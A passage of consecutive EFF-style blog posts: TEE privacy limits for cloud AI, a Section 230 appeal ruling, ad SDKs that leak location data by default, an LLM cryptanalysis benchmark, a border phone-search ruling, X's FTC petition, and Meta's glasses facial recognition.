Engineering, on the other hand, doesn’t work like that. Every individual system is the product of a group of engineers who put it out into the world, and each product will have its own quirks and bugs that have to be individually discovered and patched. These bugs are found after the system is built, not before. No one has yet built a system that is unbreakable. On the contrary, there is new research all the time that finds new ways to break into TEE systems. They’re patched as they come up, but they’re unlikely to ever become perfect, and certainly not any time soon.
TEEs in particular are a hard engineering problem because the encryption key is physically right there on the device. Building a TEE means keeping a key fully separate and inaccessible while it’s on the same physical device as parts of the system that shouldn’t have access to the key.
Many attacks on TEEs involve “side channels.” In a side channel attack, the attacker measures the electrical impulses or other effects to figure out the timing of operations inside the TEE, then uses that to figure out the key being used. Once they have the key, they can read all the data. Compare that to end-to-end encryption, where the key is never on that machine in the first place, so an attacker would have to also run a similar attack on the user’s device.
Companies who turn to TEEs to protect data want to both have the key on the server and have it protected while still performing complex operations like running an LLM, which makes it much more difficult to protect those keys.
That being said, a TEE versus plaintext on a server is the difference between being able to easily read the data and having to do a bunch of specialized work to get at the data. That work often involves accessing the physical machine. This is most relevant for protecting against mass surveillance, and for many people, that might just be enough security.
But that's the core of the problem. “Secure enough for most cases” and “encrypted as in math” are not the same thing, and it’s important not to conflate the two. And services that currently offer “encryption as in math” have a real downgrade in security when they switch to security based on TEEs.
If you want to dive into the myriad security issues and limitations of TEEs we’ve seen so far, they’re well documented here, here, here, and here.
What Does This Have To Do With LLMs and AI?
Sometimes organizations want to offer an LLM that can respond to queries in a private manner. On-device LLMs exist, but they’re limited in size. So, when organizations want to offer the ability to answer queries without being able to see the conversation, they turn to TEEs. That’s a useful way to run a chatbot that’s reasonably private. This is what Apple, Google, WhatsApp, and others are doing.
Why not turn to encryption? After all, LLM inference is just a bunch of math like any other things a computer does. It takes input to a (really big) function and gives an output. We have the math to do that computation in a way that hides the inputs and outputs from the one running the computation, it's just super expensive. It’s called homomorphic encryption, and no one’s figured out how to do it fast enough that it makes sense for this sort of computation.
Instead, the allure of a TEE is that it will run that computation for you inside of a special opaque section of a server. TEE manufacturers try to make it as hard as possible for the person running the TEE to peek inside. But you still have to trust the operator to not put a stethoscope to the box to try to figure out what's happening inside.
In this case, it’s reasonable to consider these systems “privacy-preserving,” but not “encrypted.” That distinction is important, especially when we talk about how the TEEs interact with secure messaging. When someone using an end-to-end encrypted chat app asks an LLM to summarize, review, or store those messages, the content of those messages is leaving the device and going to an unencrypted third-party server somewhere. That’s a major threat to the privacy of secure chat apps, and one that’s increasingly hard for users to take control of.
How Does This Translate to Practical Advice?
The answer to this is going to vary based on an individual’s threat model, but a good rule of thumb is that a user’s device should never automatically send data to a TEE. When the person holding a phone can choose what information is sent, even if it’s a chunk of data like “unread messages,” they have the opportunity to pause and consider if that data might be too sensitive to risk sending.
In contrast, when data is sent automatically, the automatic sending becomes a feature of the system as a whole. If the system was previously end-to-end encrypted, adding automatic exfiltration makes the whole system no longer end-to-end encrypted.
Developers: don’t build systems that automatically send data off a device to a TEE, especially when it’s coming from an app that is otherwise end-to-end encrypted.
Users: if developers ignore us and build that system, turnoff any automatic data sending features. Take a second to think about how much you’re willing to risk sending data when you choose to send it off the device.
So, What Should I Be Concerned About?
TEEs are useful for security in a number of circumstances. Your phone likely has a TEE where it keeps the key that encrypts your biometric unlock data and the base of the keychain where passwords are stored. It also enables certain backup systems, like how you can restore a phone with your passcode or restore WhatsApp or Signal backups.
But when we’re talking about cloud processing, it’s important to be clear this isn’t the same as end-to-end encryption and doesn’t offer the same level of privacy.
Most of our private lives are on our phones and in our messages. We’ve worked for years to secure those messages, with major wins like encrypted RCS, and the continued user experience improvements of Signal and WhatsApp. We’ve even seen real improvements to backup security with features like Advanced Data Protection that bring end-to-end encryption for a variety of data outside of messaging, like notes and photos.
But as companies roll out AI features that interact with these encrypted services, pulling data off devices and into a cloud-based TEE, they’re eroding the privacy protections of end-to-end encryption and risk causing serious confusion around what data is protected and what isn’t.
A federal appeals court just made it harder for online services, big and small, to get lawsuits over user speech dismissed early. In California v. Meta, a Ninth Circuit three-judge panel held that the lower court’s denial of Section 230 immunity to Meta is not immediately appealable. The misguided ruling has the potential to have widespread impact and to threaten the free speech of all internet users.
The ruling is bigger than a loss for Meta, which has the resources to defend itself against these lawsuits. The court’s ruling signals that all online services (and internet users) that host others’ speech—including those without Meta’s deep pockets—must bear the burden and expense of fighting lawsuits that Section 230 ultimately precludes. This will have real consequences, incentivizing online services to take down users’ speech in response to spurious legal threats, filter speech preemptively, or simply stop offering a place for people to speak online. So even though some may think that Meta is not a sympathetic company, the ruling should raise concerns for anyone who cares about an open and free internet.
Immunities from Suit Advance Important Public Interests
A little procedural background is necessary to understand the implications of the Ninth Circuit’s ruling.
Meta had moved to dismiss a group of social media addiction cases brought by state attorneys general, school districts, and local governments. Meta argued that Section 230(c)(1) immunity applies because the plaintiffs’ claims, framed as seeking to hold Meta liable for allegedly harmful platform features, really seek to hold the company liable for publishing decisions related to third-party content. Section 230 is one of the most important laws supporting online free speech, because its protections for online services enable them to distribute users’ speech at an unprecedented scale.
The district court ruled that Section 230 does not apply to certain features (and does apply to others) and so denied the motion to dismiss on the claims related to those features. Meta immediately appealed invoking appellate jurisdiction under 28 U.S.C. § 1291, but the question before the Ninth Circuit was whether the appeal was legally appropriate.
Under Section 1291, U.S. circuit courts generally only have jurisdiction to hear appeals of “final decisions” from the district courts. Final decisions are trial court orders ending a case, or come after a trial on the merits. Section 230 appellate cases often arise from a district court’s grant of a defendant platform’s motion to dismiss the plaintiff’s case based on Section 230. Typically, a district court’s denial of a defendant’s motion to dismiss is not a final order—it simply means that the case may continue to discovery and summary judgment or trial, after which time an appeal would be appropriate.
However, federal law allows for “interlocutory appeals,” which are appeals of orders that do not end a case but nonetheless are allowed because they involve important legal issues. For example, there is an exception to Section 1291 called the “collateral order doctrine”—at issue in this case—allowing for immediate appeal if, as the Ninth Circuit explained here, “holding a trial would imperil a substantial public interest.”
Inherent in the collateral order doctrine is the consideration of whether an immunity like Section 230 provides mere “immunity from liability” or a more robust “immunity from suit.”
An immunity from liability does not require an immediate appeal and so demands that Section 1291’s final order rule be followed. That’s because waiting until the end of a case before an appellate court can consider the trial court’s denial of immunity does not prejudice the defendant. The appellate court may overturn the trial court and grant the immunity, and thus the defendant’s right to be immune from liability would be vindicated on appeal.
Immunity from suit is different. It means that the public interest demands that a defendant be able to get out of a case as early as possible and avoid having to litigate the case to the end. The U.S. Supreme Court has held, for example, that qualified immunity is such an immunity, and that a district court’s denial of qualified immunity for a government official is immediately appealable under Section 1291, notwithstanding the lack of a final order. The idea is that the public interest is served when government officials are free to act without fear of consequences when established rights are not implicated, and so determining as soon as possible whether their acts are immune serves that public interest.
Here, the Ninth Circuit held that the district court’s denial of Section 230 immunity for Meta was not immediately appealable under Section 1291’s collateral order doctrine because the immunity is not from suit, but rather from ultimate liability. The panel’s absurd result contravenes the text of Section 230, the statute’s policy goals, and the court’s own prior rulings.
Treating Section 230 as an Immunity from Suit Protects Online Free Speech
Meta rightly argued that Section 230(e)(3) plainly states, “No cause of action may be broughtand no liability may be imposed under any State or local law that is inconsistent with this section.” The panel dismissed this argument, stating that this language likely amounts to “redundancy” reflecting only immunity from liability. The court failed to side with the more reasonable position that statutory language should generally not be interpreted as superfluous.
Meta also reminded the panel that the Ninth Circuit has many times over the past two decades framed Section 230 as both an immunity from liability and an immunity from suit. The panel also dismissed this argument, stating, “It is true that we have used the phrase ‘immunity’ somewhat loosely in our section 230 jurisprudence.”
But “loosely” is a gross mischaracterization—the panel did not discuss a seminal prior ruling, Fair Housing Council of San Fernando Valley v. Roommates.com (2008), in which the entire Ninth Circuit, not just a three-judge panel, explicitly ruled that Section 230 is also an immunity from suit. That court rightly explained that Section 230 “must be interpreted to protect websites not merely from ultimate liability, but from having to fight costly and protracted legal battles.”
Why is it important that social media platforms and other internet intermediaries (and their users) have immunity from suit for engaging in publishing activities related to third-party content—and thus a right to immediately appeal when Section 230 immunity is denied?
The Ninth Circuit panel here, using their own words, failed to “evaluate the interests that would be lost through rigorous application of a final judgment requirement” and failed to consider the “substantial public interest” served by treating Section 230 as an immunity from suit.
Section 230 immunity, contrary to what some argue, is not a gift to Big Tech—it applies to all internet intermediaries, big and small, from the large social media companies to smaller entities like community message boards and local ISPs. It even protects internet users who forward others’ emails or host comments on their blogs. In turn, the law supports the free speech of all internet users.
While it is helpful when an internet intermediary can ultimately benefit from Section 230 immunity, if a trial court’s early denial is not immediately appealable, that means the intermediary must bear the extended logistical and financial burdens of defending itself. Under the Ninth Circuit’s logic, anyone hosting others’ speech online would have to endure the pain and expense of discovery, summary judgment, or trial, before they ultimately can be protected by Section 230.
Congress crafted Section 230 to give internet intermediaries legal breathing room, so that they will be incentivized to facilitate online communication and commerce, allowing the rest of us to go online with minimal barriers to entry, without needing to have loads of money or to know how to code. Congress acknowledged in Section 230 itself, “Increasingly Americans are relying on interactive media for a variety of political, educational, cultural, and entertainment services.”
Yet if platforms, especially smaller platforms, know that they will have to defend themselves for years in court before they can ultimately benefit from Section 230 immunity, this alone will create a perverse incentive, as we have explained, to censor user speech, in order to reduce the platforms’ legal exposure. And this incentive is only exacerbated at scale, where the sheer volume of user-generated content hosted by modern platforms makes legal risk astronomical.
Unfortunately, this opinion seems to be part of larger trend reflecting the Ninth Circuit’s increasing disdain for Section 230, and apparently for free speech rights more broadly. The court similarly held last year in Gopher Media v. Melone (2025)—overruling itself—that a trial court’s denial of a defendant’s anti-SLAPP motion also is not immediately appealable under the collateral order doctrine. This is despite the fact that, similar to Section 230, California’s anti-SLAPP law is intended to allow defendants to get harassing lawsuits meant to silence them dismissed early, lest they be chilled from engaging in lawful speech on public issues due to the risk of being mired in litigation, even if they ultimately win a delayed appeal.
Across mobile platforms, advertising companies provide developers with software development kits (SDKs) that make it easy to monetize their apps. But those same SDKs can automatically feed users’ location data into ad systems that location data brokers use to track people. Many developers may not even be aware of this privacy violation, let alone the users who are directly affected.
Defaults matter, not just for users, but for app developers as well.
An EFF investigation has identified several advertising SDKs that publicly acknowledge collecting and sharing users’ location by default when embedded in Android apps granted location permissions. Defaults matter, not just for users, but for app developers as well. If app developers don’t pay close attention to the location-sharing settings of their advertising tools, they could inadvertently expose users’ location information.
This report explains how advertising SDKs can facilitate and encourage location data sharing through privacy-invasive defaults, financial incentives, and unclear documentation.
Data Brokers Harvest Location Information From Advertising Systems
When an advertising SDK collects and shares location data, it becomes part of a larger ecosystem that can include advertisers, ad tech companies, and location data brokers. EFF began investigating the location-sharing practices of various advertising SDKs to better understand the pipeline from mobile apps to location data brokers.
Location data brokers sell information on the precise movements of billions of people without their knowledge or meaningful consent. This data is primarily sourced from apps on people’s phones. Some apps partner with data brokers directly, using data-broker-developed SDKs or server-to-server transfers to sell users’ location data. Other apps leak users’ location data through advertising SDKs serving behaviorally-targeted ads through “real-time bidding” (RTB). In the process of auctioning off ad space, ad tech companies can broadcast user data to thousands of potential advertisers. Location data brokers have participated in these auctions not just to bid on ad space, but to collect personal information contained in bid requests.
Indiscriminate data sharing through RTB can lead app developers to unknowingly share their users’ location with data brokers. In 2025, a hack of location data broker Gravy Analytics revealed thousands of apps that may have been sources of its data. When journalists reached out to the app developers, many claimed they had no relationship with or knowledge of Gravy Analytics. To prevent location information from being shared with data brokers through RTB, developers must understand the location-sharing practices of their advertising SDKs.
How Advertising SDKs Leak Location Data
Developers don’t have to manually, or even intentionally, share location data for it to be broadcast through RTB auctions. Once a user grants an app permission to access their location, SDKs embedded in the app receive the same access—there are no SDK-specific location permissions. That means advertising SDKs can automatically collect users’ location data and share it in bid requests.
While apps and SDKs can estimate a users’ approximate location from their IP address without requesting any permissions, location permissions provide access to estimates that are more accurate and revealing. Precise location permissions give apps (and their embedded SDKs) access to location estimates within about 160 feet, but sometimes as accurate as 10 feet. Approximate location, a separate permissions level, gives apps access to a location estimate within about 1.2 square miles.
Developers and advertising SDKs also have a financial incentive to share location data, since it can increase bid prices for an app’s ad space. While many advertising SDKs require developers to configure a setting before collecting and sharing users’ location data in ad requests, this is not always the case. EFF found several advertising SDKs who publicly acknowledge sharing users’ location data by default when embedded in apps granted location permissions.
EFF Identified Advertising SDKs That Share Location Data by Default
EFF reviewed the public developer documentation of dozens of widely-used advertising SDKs to identify how they handle and communicate with developers about location data. In the following sections, we highlight four advertising SDKs who engage in a particularly egregious practice: collecting a user's location by default for ad targeting whenever a user has given an app location permissions. We reached out to each SDK company and the referenced app developers for comment. One company responded, and as detailed below, subsequently updated its documentation in response to our questions. Another company responded with clarifications to its developer documentation.
We chose to focus on SDKs with this privacy-invasive default because it increases the risk of developers leaking users’ location data without realizing it. Severalstudies have found that developers tend to stick to SDKs’ default settings. If an advertising SDK transmits location data by default, users' precise location can end up in advertising systems without the developer intentionally enabling location sharing. These SDKs have separatedocumentationpages thatinstruct developers to flag users covered by privacy laws like GDPR and COPPA for restricted data processing, but these modes are not the default.
By analyzing how these four SDKs present their location sharing practices to developers, we hope to illustrate how the design and documentation of advertising SDKs can facilitate location data sharing at scale. Although the advertising SDKs we highlight are not the most prevalent SDKs used, they are embedded in thousands of apps and reach billions of users.
InMobi Encourages Keeping Location Sharing Enabled By Highlighting Financial Incentives
InMobi’s “Getting Started with Android SDK Integration” suggests that location sharing is enabled by default, stating “The InMobi SDK automatically forwards location signals when available.” InMobi provides developers with a setting to opt out, but explicitly recommends sharing location data. Developer documentation highlights the financial incentive for location sharing, stating “location-enriched impressions typically yield higher revenue.”
Apps that use InMobi may not need location information to function or may only need access to approximate location information, but InMobi highly recommends that developers request precise location permissions “to enable accurate ad targeting.” They even encourage developers to request Wi-Fi network information permissions, which (when paired with precise location permissions) provide Wi-Fi access point identifiers that can also be used for location tracking.
InMobi has been accused of misleading developers over location sharing practices in the past: In 2016, they settled with the FTC over charges that they bypassed users’ location permissions for apps and tracked their precise locations through WiFi network data (Android now requires apps to request location permissions to access this WiFi data too).
BidMachine Updates Previously Inaccurate Developer Documentation After EFF's Technical Analysis Observed Precise Location Data Collection
BidMachine reveals that it collects location data by default on the “Advanced Settings” page of its Android SDK Integration guide, stating that the “SDK can automatically track user device location to serve better ads” as long as developers request location permissions for their app. Before publication, EFF reached out to BidMachine for comment, notifying them of our plan to highlight their Android SDK location sharing practices.
[Observed on “Advanced Settings” on 7/31/26, before EFF asked BidMachine for comment]
After EFF reached out, BidMachine changed their documentation to clarify the practice, but not their default collection of location information once app-level permissions are granted. This updated section still fails to explain how developers can opt out of BidMachine location tracking, which is critical for app developers that require location access for core features but wish to prevent user data from being shared with advertisers.
[Observed on “Advanced Settings” on 8/3/26, after EFF asked BidMachine for comment]
Before EFF reached out, BidMachine’s “App Privacy Details On Google Play” page had stated that they only collected coarse location data and precise location data was “not collected.” However, our technical analysis of two apps, which ExodusPrivacy determined include the BidMachine SDK, contradicted this claim: Network requests from the apps QR Scanner and GPS Speedometer to a BidMachine domain include precise location coordinates.
After EFF reached out, BidMachine also corrected its documentation to make it clear precise location is collected by the SDK whenever the app-level permission is granted:
In response to our request for comment, BidMachine stated that it wasn't possible for them to get location information “unless the user has granted the app the relevant permission through the operating system.” They also stated that“publishers are responsible for configuring their apps' permission and consent flows.”
Verve Emphasizes Consent More in its Play Store Language Than its Configuration Guide
Verve’s configuration guide for its HyBid Android SDK (formerly called Pubnative HyBid) makes clear that location tracking is “enabled by default,” stating, “If the user has given location permissions, HyBid SDK will use the available user location to provide better targeted ads.”
Verve’s guidance for data disclosure to the Google Play Store tells a more careful story. Despite the fact that location tracking is enabled by default, the Google Play Data Safety Guidance states that the SDK “does not collect or attempt to collect [location] information independently.”
It also emphasizes user consent, claiming the SDK will only collect location data “if the publishers allows its app to collect location data from users after obtaining user’s explicit consent to such data collection” (emphasis added). The configuration guide lacks recommendations or instructions for obtaining user consent to share location data with Verve, beyond app-level access. Instead, the configuration guide highlights the financial incentives for developers to add location permissions to their app.
When reached for comment, Verve clarified that “in its current Android implementation, the SDK reads the cached network-provider location and does not use the GPS data of the end user's device. Furthermore, any geolocation data is coarsened prior to processing, ensuring that location is limited to an accuracy radius of no less than 1,850 feet.” It also said that it contractually requires apps to comply with data protection laws.
To Verve’s credit, the HyBid SDK is open source, so careful developers can check the code instead of relying on documentation alone. HyBid’s open-source code shows that latitude and longitude coordinates are rounded to two decimal places, and that it does only collect and share network-derived location data, confirming the statement the company sent to us. If an app has precise location permissions, networked-derived location data rounded to two decimal places could be accurate within approximately 0.5 square miles, which is still more precise than the 1.2 square miles typically revealed with Android’s approximate location permission. But even coarse location data, especially when collected repeatedly over time, can reveal movements that should remain private by default.
Verve’s response also conveyed a willingness to revise their documentation: “As part of our ongoing commitment to providing clear and comprehensive developer resources, we continually review and enhance our documentation, and we will take your observations into account as part of that process.”
Huawei Highlights Financial Incentives for Location Data Sharing Before Showing Developers How to Opt Out
Huawei has claimed its Petal Ads SDK is embedded in more than 85,000 apps worldwide.
Huawei’s “Integrating the Petal Ads SDK into an Android App” guide begins with a recommendation that developers obtain location permissions to increase app revenue and an acknowledgement that location sharing will happen by default in apps with location permissions.
A separate “Use of Location Data for Ads” page repeats that the Petal Ads SDK will include users’ location information in ad requests if an app has access to location information. Neither of those pages mention that developers can use the setRequestLocation method to disable the default collection of location information (this setting is referenced in the last section of the Ads SDK Compliance Guide). Huawei’s Ads SDK Privacy Statement states that “The SDK and its services will not store precise location information, and will only use it to determine the approximate device location.” However, the guide does not specify how Huawei defines approximate versus precise location data.
Location Data Sharing Can Happen Without Users’ Knowledge or Meaningful Consent
In some cases, after an app itself obtains location permission, advertising SDKs can separately obtain and share users’ location information without their knowledge or meaningful consent. Neither app that EFF observed sharing precise location data with BidMachine (QR Scanner and GPS Speedometer) showed a notice or requested consent before doing so. Additionally, neither apps’ Google Play Store “Data safety” section includes location data under “This app may share these data types with third parties.” The lack of transparency and control that users have over their location on mobile apps is dangerous. QR Scanner and GPS Speedometer are just two examples of apps that quietly share users’ location data through advertising SDKs, but they have been downloaded more than 50 million and 10 million times, respectively.
App-level location permissions alone cannot signal meaningful consent to location collection and sharing by third-party advertising SDKs.
Even if users’ were to grant these apps permission to obtain their location data, they would likely not expect their location data to be shared with third parties. Many users don’t know that granting location permissions to an app grants the same permissions to third-party SDKs embedded in the app, or that an app they're using contains code from outside companies. And many apps that request location permissions, like GPS Speedometer, require it for core functionality. App-level location permissions alone cannot signal meaningful consent to location collection and sharing by third-party advertising SDKs.
Location Privacy Issues Extend Beyond These Four SDKs
Our initial focus on four advertising SDKs does not mean that other SDKs adequately protect location data or that developers never choose to share location data when it’s not the default. Advertising SDKs not discussed in this report have been criticized and sued for allegations that they collect location data without valid user consent.
The issues we’ve highlighted around privacy-invasive defaults, financial incentives, and unclear documentation extend beyond the specific SDKs we analyzed. Multiple studies have found that advertising SDKs often steer developers toward increased data collection through their design and documentation. A 2021 study found that popular advertising SDKs used dark patterns to nudge developers towards sharing more sensitive data. A 2024 study identified discrepancies between several SDKs’ documentation and their actual data collection practices. And a 2025 study concluded that developers have minimal influence over SDKs’ data transmission, often leaving them with the choice of accepting SDKs' invasive data collection or avoiding them entirely.
Fighting Back Against AdTech Companies That Enable and Encourage Location Data Sharing
EFF’s analysis shows that advertising SDKs don’t just allow developers to share location data–they often encourage it. Default settings, financial incentives, and unclear documentation can make sharing users’ location the easiest option for developers.
Users can take extra steps to defend their location privacy, but they shouldn’t have to. Developers, regulators, and legislators must act to stop apps from leaking users’ location to advertising companies and data brokers.
Developers
Developers should carefully evaluate all third-party SDKs they include in their apps and disable unnecessary data collection whenever possible. Regardless of advertising SDKs’ default settings, developers have a responsibility to protect their users’ location data. But protecting users’ privacy shouldn’t depend on developers reading the right piece of SDK documentation. Advertising SDKs should not make sharing personal data the default, especially for data as sensitive as a person’s location.
Regulators
Regulators should continue to hold app developers accountable when they unlawfully share personal data and include libraries which subject users to privacy harms, as they have in the past. But they should also scrutinize the companies whose SDKs encourage these practices at scale. Otherwise, companies can continue to design SDKs that make invasive data sharing the default while shifting the responsibility and consequences to developers who include their tools.
Legislators
The US is in dire need of a federal law to protect all Americans’ location privacy, one which doesn’t preempt stronger state privacy laws, and has a private right of action empowering individuals to sue those who violate their privacy. Countries across the globe should likewise enact legislation that protects their users’ location privacy. Everyone deserves privacy as a universal human right.
Legislators can address the root of the problem by banning online behavioral advertising. This would remove the primary incentive for companies to track and share your personal data. It would also prevent users' precise locations from being broadcast to data brokers through RTB auctions.
Until then, developers should be wary of ad libraries that betray their users’ location privacy.
Notes on Methodology
We were interested in looking at network traffic for various Android ads SDKs that send precise location by default when granted location permissions. We chose Android for this investigation because of the relative openness of and our familiarity with analysis on the platform. We’ve used publicly available resources like Exodus Privacy and AppBrain to identify popular ads SDKs and the apps which include them.
In a lab setting, we set up a machine to view our own http(s) traffic using mitmproxy from our test device, and connect the test device to that machine in order to view our real-time traffic. Where needed, we use the dynamic instrumentation toolkit Frida to ensure the traffic we generate can be analyzed.
We’ve included flows files in this post, which can be opened in mitmproxy to show the requests we’ve observed with location coordinates.
There’s new benchmark measuring AI’s ability to perform mathematical cryptanalysis. Anthropic’s frontier model actually found new attacks.
The benchmark: “CryptanalysisBench: Can LLMs do Cryptanalysis?” The idea is to benchmark the ability of LLMs to discover new mathematical cryptanalytic attacks against a series of historical algorithms.
Abstract: Cryptanalysis—the task of finding attacks against cryptographic schemes—its at the intersection of mathematical reasoning and cybersecurity, two areas where LLMs have advanced fastest. Cryptanalysis represents both a clean testbed for frontier reasoning (as practical attacks can be automatically verified) and a domain with unusually high stakes, since the primitives under study underpin our digital security. In this paper we ask whether LLMs can do cryptanalysis, and find that the answer is increasingly yes. We introduce CryptanalysisBench, 191 tasks across six families of cryptographic primitives (block ciphers, hash functions, etc.) drawn primarily from four NIST standardization competitions. Our benchmark consists of three tiers: (i) primitives with known practical breaks; (ii) primitives with no known practical break, evaluated both at full strength and as scaled-down variants; and (iii) a challenge set of production primitives at the frontier of cryptanalysis. Five frontier models (Claude Opus 4.8, Sonnet 5, Mythos 5, GPT-5.5, and the open-weights GLM-5.2) break 65%86% of Tier 1 schemes, 612 Tier-2 schemes at full strength, and 2461 across all scaled-down variants. Beyond deriving known results, models produce novel cryptanalysis, such as a key-recovery attack that exploits a design flaw in the SpoC AEAD and an error in KINDI’s published CCA-security proof, both to the best of our knowledge not previously known.
We release CryptanalysisBench as a tool to help track if (or when) AI cryptanalysis becomes a serious factor and as a scaffold for stress-testing candidate schemes before deployment. The attacks that the benchmark already surfaces are an early snapshot of a fast-moving frontier that may soon match, and in places exceed, the published state of the art.
Anthropic used the benchmark to test Mythos Preview, and found new vulnerabilities in Hawk and reduced-round AES.
Still early results, but this is definitely something to watch.
Legal intern Suzanne Castillo was the principal author of this post.
The Fourth Circuit issued a disappointing opinion in U.S. v. Belmonte Cardozo, a case in which EFF filed an amicus brief, alongside the national ACLU, its Maryland, North Carolina, South Carolina, and Virginia affiliates, and the National Association of Criminal Defense Lawyers (NACDL).
We argued that electronic device searches at the border should require a warrant based on probable cause, but at minimum, regardless of whether an officer searches by hand or with forensic software that plugs into a device and downloads its entire contents for search, the same Fourth Amendment standard should apply to all device searches at the border.
Unfortunately, the court rejected that argument and ruled that a lower standard applies to manual searches, allowing the government to conduct extraordinarily invasive electronic device searches without any suspicion of wrongdoing, simply because the border officer chooses to search by hand rather than with a forensic tool.
The Border Search Exception Meets Your Phone
The Fourth Amendment requires that government searches of persons or property be reasonable, which usually means obtaining a warrant based on probable cause from a judge.
But a warrantless search can still be reasonable if it falls within an exception to the warrant requirement, including the exception that allows officers to search your belongings at the border. The border search exception allows warrantless searches of persons or property crossing the U.S. border, including the functional equivalent of the border such as international airports, given the government’s interests in controlling who and what may enter the country.
Historically, courts have categorized border searches of luggage, vehicles, and personal effects as “routine” and thus reasonable even if conducted without any suspicion that the traveler has engaged in wrongdoing; courts have also held that more invasive “nonroutine” searches, such as certain body searches and searches that damage property, require reasonable suspicion.
But a person’s privacy interests in the personal data on a phone or laptop are extraordinarily different than their limited privacy interests in the contents of their suitcase.
The Supreme Court addressed cell phone privacy in Riley v. California (2014), holding that the search-incident-to-arrest exception to the warrant requirement did not apply to cell phones, thereby generally requiring a warrant for phone searches, at least at the interior of the country. The court recognized the unprecedented privacy interests people have in their cell phones and how even brief manual searches can reveal the “sum of an individual’s private life,” including our political affiliations, religious beliefs, sexuality, and more. Accordingly, the Supreme Court held that because electronic device searches bear “little resemblance” to searches of bags or physical containers, they should be evaluated differently.
Following Riley, the Fourth Circuit considered two border device search cases involving forensic searches, in which border officers used external software to extract and analyze a device’s data.
In U.S. v. Kolsuz (2018), the Fourth Circuit held that a forensic search of a cell phone at the border “must be considered a nonroutine border search, requiring some measure of individualized suspicion” of a transnational offense, but the court declined to decide whether the standard is only reasonable suspicion or instead a probable cause warrant.
Then in U.S. v. Aigbekaen (2019), the Fourth Circuit held that a forensic device search at the border in support of a purely domestic law enforcement investigation requires a warrant. The court also reiterated the general Kolsuz rule for a forensic border-related device search: the “Government must have individualized suspicion of an offense that bears some nexus to the border search exception's purposes of protecting national security, collecting duties, blocking the entry of unwanted persons, or disrupting efforts to export or import contraband.”
In Belmonte Cardozo, manual searches were finally before the court.
A Disappointing Decision
Jose Belmonte Cardozo was already on the U.S. government’s radar when he traveled from Bolivia to the U.S. and was met by a U.S. Customs and Border Protection (CBP) officer at Washington Dulles International Airport. The officer manually searched his cell phone and found child sexual abuse material (CSAM), considered “digital contraband,” leading to Belmonte Cardozo’s arrest and criminal prosecution.
At issue on appeal was what standard should apply to manual device searches at the border. The Fourth Circuit held that, unlike forensic searches, manual searches are “routine” and thus reasonable under the Fourth Amendment without a warrant or individualized suspicion.
The court’s holding hinged on four differences between manual and forensic searches: (1) in a manual search, a person does the searching, not a machine; (2) a manual search’s breadth depends on the officer’s time and energy, while forensic searches are comprehensive; (3) manual searches reveal only what a user can typically access, while forensic searches can uncover deleted files, cached fragments, metadata, and more; and (4) manual searches are subject to an officer’s fading memory or imperfect notes, while forensic searches create a permanent copy.
But in identifying these technical differences, the court never explains why they justify a lower standard for manual searches.
The Fourth Circuit’s holding is problematic because, as we argued in our amicus brief, manual searches reach the same categories of data as forensic searches—data that can reveal highly personal aspects of our identities and our lives. It does not matter if a search is conducted by an agent’s thumbs or by software: the end result is equally as invasive, therefore all device searches should fall under the warrant requirement, or at least the same Fourth Amendment standard.
The court repeatedly emphasized that the search here lasted only two minutes, suggesting that the time-limited search was not privacy-invasive. But an individual’s privacy interests in their personal data don’t change based on how their phone is searched or how long. Scrolling for two minutes through someone’s personal text messages or photos is an invasion of privacy that may reveal intimate details about the person even in that short period of time.
Moreover, as devices’ native search functions improve, manual searches can surface personal information in seconds through keyword searches, even for photos, where it might have taken an hour of scrolling to find the same information, further showing that a time-limited search is not necessarily less privacy-invasive. What matters is not the breadth of the search itself, but the unprecedented (and growing) breadth of data on our phones.
A Silver Lining
There’s one silver lining: by relying on the fact that the search lasted two minutes, the Fourth Circuit left open the possibility that lengthier manual searches could trigger heightened suspicion requirements. But until a clear line is drawn, border officers within the Fourth Circuit’s jurisdiction can use manual searches to sidestep heightened Fourth Amendment standards that would otherwise apply. In the meantime, EFF will keep fighting against extraordinarily invasive warrantless, suspicionless device searches at the border, and for robust privacy standards to protect our most personal data.
X Corp. should not be able to escape privacy compliance because it changed its name.
On May 15, X Corp. filed a petition before the Federal Trade Commission (FTC) to set aside or modify an order issued in 2022 requiring the company to report regularly to the FTC for its violations of user data. The order or “consent decree” is a result of misleading the platforms’ 140 million users by using private information given to secure accounts, like phone numbers and email addresses, for targeted advertising. It also fined the company $150 million for the infraction. As part of an open comments period, EFF and allies including Demand Progress Education Fund (DPEF), National Consumers League (NCL) and Electronic Privacy Information Center (EPIC) call on the FTC to reject this petition.
The 2022 order was a renewal of an order stemming from a previous violation. Back in 2011, Twitter (now X) reached a settlement with the FTC after the regulator found Twitter had failed to secure users’ personal information, resulting in exposure of that data to hackers. The settlement banned the company from misrepresenting its data protection measures, required it to set up safeguards on user data, and regularly report its security posture for twenty years. The renewal updated the expiration of X’s obligations to 2042, but if the FTC accepts X's petition, it would end much sooner.
In arguing to set aside the order, X remarks that since the order in 2011 it has “built an entirely new privacy and information security program staffed by new personnel operating under new leadership with a … philosophy grounded on the importance of privacy and information security.”
These sweeping assurances that corporate restructuring led to a fundamental change in X’s policy and practices around user data should be met with a healthy dose of skepticism, given evidence to the contrary. For example, the company’s quiet rollout integrated its AI model Grok with the platform in 2024, trained (without meaningful consent) on X user data. The company was also subject to a massive data breach in 2025. Even if a rotation of leadership led to prioritizing privacy and information security, our letter highlights that this would not be sufficient grounds to remove the order, “because the FTC orders bind the corporate entity. Those obligations do not dissolve when the employees who negotiated or administered it depart.”
X argues that its entry into the AI space should be reason not to continue the oversight, claiming that “terminating the Order is critical to advancing American leadership in artificial intelligence.” Here again, broad-stroke claims that the guardrails in place “[diverts] engineering resources from innovation to compliance paperwork” ignores the dangers that AI introduces to user data. Far from being a reason to waive the order, clever attacks on models trained on user data has the ability to supercharge the types of secondary use violations that led to the 2022 order renewal. After all, an entire art has been developed around engineering LLM prompts to reveal the data a model was originally trained on.
Our response to X’s petition debunks many claims the company uses in its arguments. For example, there’s little evidence the order placed an undue financial burden on X. In our letter, we note that the compliance cost is merely “a rounding error against the $200 billion valuation of X Corp. following the xAI merger.”
Strong safeguards on our information require eagle-eyed oversight when that data is abused and misused for profiteering ventures. X’s actions not only showed us this in the past, but continue to do so in the present day. We and our civil society partners urge the FTC to take the clear, sensible path and reject X’s petition.
Meta has deployed facial recognition code to millions of their always-on surveillance glasses, according to new reporting by Wired. EFF’s Threat Lab was able to confirm that the facial recognition code is present through static analysis of the application.
